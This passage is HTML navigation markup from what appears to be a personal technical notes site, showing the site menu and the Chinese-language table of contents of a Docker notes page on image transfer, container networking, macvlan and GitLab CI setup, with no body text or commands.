href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          Docker\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        Docker\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    搬运镜像\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#docker\" class=\"md-nav__link\">\n    安装Docker\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#myubuntu\" class=\"md-nav__link\">\n    myubuntu 基础镜像\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#install\" class=\"md-nav__link\">\n    Install 安装\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Install 安装\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#aufs\" class=\"md-nav__link\">\n    解决aufs的问题\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    加速镜像下载\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    建议使用阿里云的镜像源\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"建议使用阿里云的镜像源\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#docker_1\" class=\"md-nav__link\">\n    Docker旧版本卸载\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ip\" class=\"md-nav__link\">\n    获得容器的ip\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    导出导入\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"导出导入\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#-save\" class=\"md-nav__link\">\n    搬运镜像--save导出镜像\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#-load\" class=\"md-nav__link\">\n    搬运镜像--load载入镜像\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#export\" class=\"md-nav__link\">\n    Export导出容器 并不常用\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#import\" class=\"md-nav__link\">\n    Import导入容器\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#iptables-failed-no-chiantargetmatch-by-that-name\" class=\"md-nav__link\">\n    解决iptables failed - No chian/target/match by that name\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#docker_2\" class=\"md-nav__link\">\n    迁移Docker文件夹到其他硬盘\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#debianifconfigkillall\" class=\"md-nav__link\">\n    解决debian等容器没有ifconfig,killall的问题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    设置容器低权限用户运行\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#etcresolvconfetchosts\" class=\"md-nav__link\">\n    设置容器/etc/resolv.conf和/etc/hosts\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    容器限制参数设置\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ftp\" class=\"md-nav__link\">\n    快速部署ftp\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#wordpress\" class=\"md-nav__link\">\n    快速部署wordpress\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"快速部署wordpress\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    完整流程：\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_8\" class=\"md-nav__link\">\n    遇到的坑\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#dockerfile-apt-get\" class=\"md-nav__link\">\n    Dockerfile 中的 apt-get\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#dockerip\" class=\"md-nav__link\">\n    让Docker容器得到内网IP\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"让Docker容器得到内网IP\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#macvlanip\" class=\"md-nav__link\">\n    获取macvlan容器的IP\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#macvlanip_1\" class=\"md-nav__link\">\n    macvlan查看已经分配的IP\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#macvlan\" class=\"md-nav__link\">\n    主机访问macvlan的容器\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#iptablesdockerip\" class=\"md-nav__link\">\n    使用iptables端口转发让Docker容器得到内网IP\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"使用iptables端口转发让Docker容器得到内网IP\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#give_container_ipsh\" class=\"md-nav__link\">\n    give_container_ip.sh\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#tcpdump\" class=\"md-nav__link\">\n    对容器网络流量tcpdump\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_9\" class=\"md-nav__link\">\n    修改正在运行的容器的重启策略\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#samba\" class=\"md-nav__link\">\n    快速部署samba\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_10\" class=\"md-nav__link\">\n    按需分配容器 过期自动销毁\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ab\" class=\"md-nav__link\">\n    在容器A中使用别名访问容器B\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#docker1802start\" class=\"md-nav__link\">\n    修复Docker更新到18.02后部分容器无法start的问题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#docker-exec-it\" class=\"md-nav__link\">\n    解决docker exec -it进入容器屏幕大小不对的问题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#docker-pull\" class=\"md-nav__link\">\n    不使用docker pull也能下载到镜像\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#docker-daemon\" class=\"md-nav__link\">\n    启动另一个Docker Daemon进程\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#dockergitlab-ci\" class=\"md-nav__link\">\n    配置使用Docker版本的Gitlab CI\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"配置使用Docker版本的Gitlab CI\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#pullrunner\" class=\"md-nav__link\">\n    第一步当然是pull人家的runner镜像咯\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#citoken\" class=\"md-nav__link\">\n    第二步 获取CI连接时需要的token\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_11\" class=\"md-nav__link\">\n    第三步 注册以生成初始的配置信息\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_12\" class=\"md-nav__link\">\n    第四步 修改配置文件\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#runner\" class=\"md-nav__link\">\n    第五步 启动runner容器\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#repo\" class=\"md-nav__link\">\n    第六步 创建一个新的repo来测试一下吧\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#socat\" class=\"md-nav__link\">\n    为已经存在的容器创建临时端口映射 socat\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_13\" class=\"md-nav__link\">\n    查看所有容器内存占用 并排序\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_14\" class=\"md-nav__link\">\n    运行中的容器添加目录挂载\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#docker32\" class=\"md-nav__link\">\n    Docker使用32位镜像\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#varlibdocker\" class=\"md-nav__link\">\n    找到/var/lib/docker中容器的数据存储目录\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#dockermacvlan\" class=\"md-nav__link\">\n    搬运服务器后网段变化 直接修改Docker底层数据库和配置文件修复macvlan网络\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#2\" class=\"md-nav__link\">\n    获取2个月前退出的容器列表，以空格分隔\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ping-ipnsenter\" class=\"md-nav__link\">\n    容器内没有ping, ip？直接nsenter进去看看\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#macvlanip_2\" class=\"md-nav__link\">\n    为macvlan的容器配置只允许IP段访问\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#varlibdocker_1\" class=\"md-nav__link\">\n    从/var/lib/docker提取容器开始时间\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ip_1\" class=\"md-nav__link\">\n    固定容器的IP\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ip-etchosts\" class=\"md-nav__link\">\n    获取容器IP 更新主机/etc/hosts\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#docker-web\" class=\"md-nav__link\">\n    Docker容器禁止主动联网 但对外提供web服务\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Docker容器禁止主动联网 但对外提供web服务\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_15\" class=\"md-nav__link\">\n    简单方案 直接删除默认路由\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#nginx\" class=\"md-nav__link\">\n    复杂方案 创建个内部网络 Nginx转发\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#registryapi\" class=\"md-nav__link\">\n    私有registry的api\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#docker-pull_1\" class=\"md-nav__link\">\n    配置docker pull使用代理\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#docker-daemon_1\" class=\"md-nav__link\">\n    配置docker daemon退出时不自动关闭容器\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    搬运镜像\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#docker\" class=\"md-nav__link\">\n    安装Docker\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#myubuntu\" class=\"md-nav__link\">\n    myubuntu 基础镜像\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#install\" class=\"md-nav__link\">\n    Install 安装\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Install 安装\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#aufs\" class=\"md-nav__link\">\n    解决aufs的问题\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    加速镜像下载\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    建议使用阿里云的镜像源\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"建议使用阿里云的镜像源\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#docker_1\" class=\"md-nav__link\">\n    Docker旧版本卸载\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ip\" class=\"md-nav__link\">\n    获得容器的ip\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    导出导入\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"导出导入\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#-save\" class=\"md-nav__link\">\n    搬运镜像--save导出镜像\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#-load\" class=\"md-nav__link\">\n    搬运镜像--load载入镜像\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#export\" class=\"md-nav__link\">\n    Export导出容器 并不常用\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#import\" class=\"md-nav__link\">\n    Import导入容器\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#iptables-failed-no-chiantargetmatch-by-that-name\" class=\"md-nav__link\">\n    解决iptables failed - No chian/target/match by that name\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#docker_2\" class=\"md-nav__link\">\n    迁移Docker文件夹到其他硬盘\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#debianifconfigkillall\" class=\"md-nav__link\">\n    解决debian等容器没有ifconfig,killall的问题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    设置容器低权限用户运行\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#etcresolvconfetchosts\" class=\"md-nav__link\">\n    设置容器/etc/resolv.conf和/etc/hosts\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    容器限制参数设置\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ftp\" class=\"md-nav__link\">\n    快速部署ftp\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#wordpress\" class=\"md-nav__link\">\n    快速部署wordpress\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"快速部署wordpress\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    完整流程：\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_8\" class=\"md-nav__link\">\n    遇到的坑\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#dockerfile-apt-get\" class=\"md-nav__link\">\n    Dockerfile 中的 apt-get\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#dockerip\" class=\"md-nav__link\">\n    让Docker容器得到内网IP\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"让Docker容器得到内网IP\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#macvlanip\" class=\"md-nav__link\">\n    获取macvlan容器的IP\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#macvlanip_1\" class=\"md-nav__link\">\n    macvlan查看已经分配的IP\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#macvlan\" class=\"md-nav__link\">\n    主机访问macvlan的容器\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#iptablesdockerip\" class=\"md-nav__link\">\n    使用iptables端口转发让Docker容器得到内网IP\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"使用iptables端口转发让Docker容器得到内网IP\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#give_container_ipsh\" class=\"md-nav__link\">\n    give_container_ip.sh\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#tcpdump\" class=\"md-nav__link\">\n    对容器网络流量tcpdump\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_9\" class=\"md-nav__link\">\n    修改正在运行的容器的重启策略\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#samba\" class=\"md-nav__link\">\n    快速部署samba\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_10\" class=\"md-nav__link\">\n    